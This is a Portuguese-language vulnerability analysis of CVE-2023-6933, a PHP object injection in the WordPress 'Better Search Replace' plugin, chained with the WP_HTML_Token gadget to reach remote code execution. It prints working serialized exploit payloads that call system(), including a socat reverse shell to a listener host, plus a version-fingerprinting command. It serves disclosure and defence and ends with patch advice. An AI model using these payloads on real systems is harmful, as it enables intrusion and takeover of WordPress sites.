
Introdução à Vulnerabilidade CVE-2023-6933
O plugin "Better Search Replace" para WordPress apresenta uma vulnerabilidade crítica conhecida como Injeção de Objeto PHP. Essa falha de segurança está presente em todas as versões até a 1.4.4 inclusive. Ela surge da desserialização de entrada não confiável, permitindo que atacantes não autenticados injetem um Objeto PHP no sistema. Notavelmente, o próprio plugin não contém uma cadeia de Injeção de Objeto PHP (POI). No entanto, se um plugin ou tema vulnerável adicional estiver instalado no sistema de destino e incluir uma cadeia POI, essa vulnerabilidade poderia potencialmente permitir que atacantes excluam arquivos arbitrários, acessem dados sensíveis ou executem código malicioso.
Nesta análise, também abordaremos a vulnerabilidade na versão 6.4.0 do WordPress, que foi corrigida para resolver um problema de Execução Remota de Código (RCE). Além disso, exploraremos a possibilidade de encadear essas duas vulnerabilidades para alcançar a execução remota de código não autenticada.
Para descobrir a versão estável atual do plugin Better Search Replace, use o seguinte comando:
echo 'http://wp6.4-better-search-replace-before-1.4.5.local' \
| sed "s'$'/wp-content/plugins/better-search-replace/README.txt'" \
| httpx -silent -mc 200 -er 'Stable tag:.*'
http://wp6.4-better-search-replace-before-1.4.5.local/wp-content/plugins/better-search-replace/README.txt [Stable tag: 1.4.3]
Primeiramente, configurei três contêineres Docker para a análise:
Para obter uma compreensão mais profunda da vulnerabilidade, comecei a analisar commits específicos no repositório GitHub do plugin "Better Search Replace". Esses commits potencialmente contêm informações cruciais sobre a natureza e as correções da vulnerabilidade.

Nesta função, podemos observar os seguintes parâmetros:
from: Este é o texto a ser substituído.to: Este representa o texto de substituição.data: Estes são os dados que precisam ser substituídos.É importante notar aqui que os dados são passados diretamente para a função $this->unserialize($data).

Portanto, aqui podemos ver que a string será desserializada.
Para determinar onde é viável injetar um objeto serializado em data, exploraremos a interface visual do plugin.

Portanto, podemos colocar um objeto serializado em uma dessas tabelas, mas precisamos de um objeto serializado vulnerável para conseguir a Execução Remota de Código (RCE).
Na versão 6.4.0 do WordPress, foi introduzido um objeto PHP, WP_HTML_Token. Aqui está uma análise de sua estrutura e potencial de exploração:
main.php
<?php
class WP_HTML_Token {
public $bookmark_name = null;
public $node_name = null;
public $has_self_closing_flag = false;
public $on_destroy = null;
/**
* Constructor - creates a reference to a token in some external HTML string.
*
* @since 6.4.0
*
* @param string $bookmark_name Name of bookmark corresponding to location in HTML where token is found.
* @param string $node_name Name of node token represents; if uppercase, an HTML element; if lowercase, a special value like "marker".
* @param bool $has_self_closing_flag Whether the source token contains the self-closing flag, regardless of whether it's valid.
* @param callable $on_destroy Function to call when destroying token, useful for releasing the bookmark.
*/
public function __construct( $bookmark_name, $node_name, $has_self_closing_flag, $on_destroy = null ) {
$this->bookmark_name = $bookmark_name;
$this->node_name = $node_name;
$this->has_self_closing_flag = $has_self_closing_flag;
$this->on_destroy = $on_destroy;
}
public function __destruct() {
if ( is_callable( $this->on_destroy ) ) {
call_user_func( $this->on_destroy, $this->bookmark_name );
}
}
}
A função call_user_func dentro do método __destruct é a chave para a exploração. Ela requer:
$this->on_destroy: Uma função chamável.
$this->bookmark_name: Um argumento para a função chamável.
Para explorar isso, tentei adicionar as seguintes linhas ao final do main.php (nota: comente a linha do call_user_func antes da serialização):
$token = new WP_HTML_Token("touch /tmp/rce", "nodeName", false, 'system');
$serializedObject = serialize($token);
echo $serializedObject;
php main.php
O:13:"WP_HTML_Token":4:{s:13:"bookmark_name";s:14:"touch /tmp/rce";s:9:"node_name";s:8:"nodeName";s:21:"has_self_closing_flag";b:0;s:10:"on_destroy";s:6:"system";}
Agora é viável testar a teoria adicionando um comentário não autenticado no site.

É hora de utilizar o plugin para acionar a função de desserialização.

O arquivo foi criado como esperado, portanto, a RCE durante a desserialização e durante a destruição do objeto funciona corretamente.

Persistência de Comentários Excluídos: Mesmo que um comentário seja excluído, ele permanece no banco de dados marcado como 'não exibido ao usuário'. No entanto, o plugin não distingue entre comentários visíveis e invisíveis e prossegue com a desserialização do objeto independentemente disso.
Desserialização Durante o Dry Run: O processo de desserialização ocorre mesmo durante um dry run, o que é uma falha significativa em termos de segurança.
Avaliação Inicial: A categorização do Common Vulnerability Scoring System (CVSS) pela Wordfence parece estar equivocada. Na minha opinião, a pontuação deveria ser 8.8.
Avaliação Revisada: A pontuação CVSS atual é 9.8. No entanto, essa classificação ignora o fato de que "é necessária interação do usuário na tabela correta" para que a desserialização do código ocorra. Para confirmar isso, entrei em contato com o pesquisador Sam Pizzey, que confirmou minha observação: a execução da vulnerabilidade exige que alguém interaja com o plugin.
Para aqueles interessados em técnicas de reverse shell, adaptei meu payload para simplificar esse processo. Isso pode ser aplicado a sites onde o registro é aberto a todos:
$token = new WP_HTML_Token("socat TCP:172.17.0.4:4444 EXEC:/bin/bash", "nodeName", false, 'system');
$serializedObject = serialize($token);
echo $serializedObject;
O:13:"WP_HTML_Token":4:{s:13:"bookmark_name";s:40:"socat TCP:172.17.0.4:4444 EXEC:/bin/bash";s:9:"node_name";s:8:"nodeName";s:21:"has_self_closing_flag";b:0;s:10:"on_destroy";s:6:"system";}
Inserindo Objeto PHP no Perfil

Em seguida, abri um listener para aguardar a conexão de entrada.


Por fim, recebi com sucesso a conexão reverse shell.

Este documento fornece uma visão geral detalhada da vulnerabilidade CVE-2023-6933, incluindo seu impacto, detalhes técnicos e estratégias de mitigação. Compreender e corrigir essa vulnerabilidade é crucial para manter a segurança e a integridade das instalações WordPress que utilizam o plugin 'Better Search Replace'.
Para corrigir a vulnerabilidade, atualize para uma versão superior ao Better Search Replace 1.4.4 e faça as atualizações do seu WordPress.
Autor: Maxime Paillé
GitHub: w2xim3
LinkedIn: Perfil no LinkedIn